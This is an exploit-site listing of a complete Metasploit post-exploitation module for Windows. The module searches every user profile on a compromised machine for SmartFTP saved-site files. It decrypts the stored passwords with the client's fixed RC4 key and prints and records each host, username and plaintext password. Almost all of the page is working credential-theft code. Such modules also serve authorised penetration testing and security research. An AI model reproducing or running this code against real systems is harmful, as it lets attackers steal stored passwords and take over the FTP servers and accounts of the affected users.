SmartFTP Saved Password Extraction



EKU-ID: 580 CVE: OSVDB-ID:
Author: TheLightCosine Published: 2011-06-21 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# $Id:$
##
 
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require 'msf/core'
require 'rex'
require 'rexml/document'
 
 
class Metasploit3 < Msf::Post
 
 
 
	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather SmartFTP Saved Password Extraction',
				'Description'   => %q{ This module finds saved login credentials
							for the SmartFTP FTP client for windows.
							It finds the saved passwords and decrypts
							them.},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'TheLightCosine <thelightcosine@gmail.com>'],
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
 
	end
 
	def run
 
		os = session.sys.config.sysinfo['OS']
		drive = session.fs.file.expand_path("%SystemDrive%")
		@xmlfiles=[]
		if os =~ /Windows 7|Vista|2008/
			@favpath = 'AppData\\Roaming\\\\SmartFTP\\Client 2.0\\Favorites'
			@users = drive + '\\Users'
		else
			@favpath = 'Application Data\\SmartFTP\\Client 2.0\\Favorites'
			@users = drive + '\\Documents and Settings'
		end
		get_users
		@userpaths.each do |path|
			enum_subdirs(path)
		end
		@xmlfiles.each do |file|
			get_xml(file)
		end
 
 
	end
 
	def enum_subdirs(path)
 
		begin
			session.fs.dir.foreach(path) do |sub|
				next if sub =~ /^(\.|\.\.|Predefined Favorites)$/
				xmlpath= "#{path}\\#{sub}"
				if sub=~/\.xml$/
					#print_status(xmlpath)
					@xmlfiles<< xmlpath
				else
					enum_subdirs(xmlpath)
				end
 
			end
		rescue
 
		end
 
	end
 
	def get_users
		@userpaths=[]
		session.fs.dir.foreach(@users) do |path|
			next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
			@userpaths << "#{@users}\\#{path}\\#{@favpath}"
		end
	end
 
 
	def decrypt(password)
 
		cipher =[password].pack("H*")
		ms_enhanced_prov="Microsoft Enhanced Cryptographic Provider v1.0"
		prov_rsa_full=1
		crypt_verify_context= 0xF0000000
		alg_md5 = 32771
		alg_rc4 = 26625
 
 
		acquirecontext= client.railgun.advapi32.CryptAcquireContextW(4,nil,ms_enhanced_prov,prov_rsa_full,crypt_verify_context)
		createhash = client.railgun.advapi32.CryptCreateHash(acquirecontext['phProv'],alg_md5,0,0,4)
		hashdata = client.railgun.advapi32.CryptHashData(createhash['phHash'],"SmartFTP",16,0)
		derivekey = client.railgun.advapi32.CryptDeriveKey(acquirecontext['phProv'],alg_rc4,createhash['phHash'], 0x00800000, 4)
		decrypt = client.railgun.advapi32.CryptDecrypt(derivekey['phKey'],0,true,0,cipher,cipher.length)
		destroyhash= client.railgun.advapi32.CryptDestroyHash(createhash['phHash'])
		destroykey = client.railgun.advapi32.CryptDestroyKey(derivekey['phKey'])
		releasecontext = client.railgun.advapi32.CryptReleaseContext(acquirecontext['phProv'],0)	
		data= decrypt['pbData']
		return data
	end
 
	def get_xml(path)
		condata=""
		begin
			xmlexists = client.fs.file.stat(path)
			connections = client.fs.file.new(path,'r')
			until connections.eof
				condata << connections.read
			end
			parse_xml(condata)
			print_status("Finished processing #{path}")
		rescue
			print_status("The file #{path} either could not be read or does not exist")
		end
 
	end
 
 
	def parse_xml(data)
		mxml= REXML::Document.new(data).root
		mxml.elements.to_a("//FavoriteItem").each do |node|
			host = node.elements['Host'].text
			port = node.elements['Port'].text
			user = node.elements['User'].text
			epassword= node.elements['Password'].text
			next if epassword == nil or epassword== ""
			pass=decrypt(epassword)			
 
			print_good("HOST: #{host} PORT: #{port} USER: #{user} PASS: #{pass}")
			report_auth_info(
							:host  => host,
							:port => port,
							:user => user,
							:pass => pass
						)
 
		end
 
	end
 
 
end